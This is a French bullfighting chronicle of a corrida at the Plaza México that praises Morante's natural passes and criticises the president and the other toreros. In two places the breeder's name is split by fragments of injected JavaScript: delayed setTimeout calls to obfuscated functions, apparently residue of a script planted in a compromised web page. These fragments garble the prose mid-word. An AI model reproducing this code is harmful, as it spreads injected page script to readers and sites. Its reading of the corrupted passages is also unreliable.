ARENES DE MEXICO : TROIS NATURELLES ET UNE DE POITRINE DE MORANTE

Si les faenas n’étaient pas aussi longues, si le public ne s’était pas habitué à ces passes de muleta qui s’accumulent pour s’empiler à l’infini, on n’aurait pas sifflé Morante pour qu’il abrège sa première faena devant un toro sans possibilités, et les spectateurs auraient retenu à jamais au plus profond d’eux-mêmes les trois naturelles enchaînées à une passe de poitrine sans interruption, qui furent l’apogée d’une faena longue elle aussi mais pleine d’inspiration au cinquième toro de l’après-midi. Ce qui explique peut-être pourquoi, une telle quantité de bonnes passes tout au long de sa confrontation au toro, un berrendo bien présenté de Fernandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando de la Mora, masqua la pureté extrême de ces trois naturelles. Ce fut, sans aucun doute, le meilleur, le plus pur, le plus torero de tout ce qui a été vu dans les arènes de Mexico depuis des années. Et cette façon de les enchaîner à la passe de poitrine, avec les pieds cloués au sol, et la muleta obligeant la charge à dessiner un « huit », et s’avançant même d’un pas au moment où le toro mettait la tête dans le leurre, ce fut tellement torero, tellement parfait, tellement difficile, que rarement un aficionado a la possibilité de le voir dans sa vie. Ce toro, Morante l’a tué d’une parfaite estocade au volapié, et il l’a achevé, car le toro ne baissait pas la tête, avec la puntilla. Génial ! Le président, un peu niais, lui a refusé l’oreille. Mais, par contre, il l’a donnée à Zotoluco pour une faena intelligente, ennuyeuse mais bien finalisée au premier de la corrida. Et il n’a pas pu la donner à Diego Silveti qui a été face au meilleur lot, parce qu’il ne sait pas tuer. La corrida de Fernandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando de la Mora, avec peu de race, inégale de présentation. Parfois on aurait dit une novillada.

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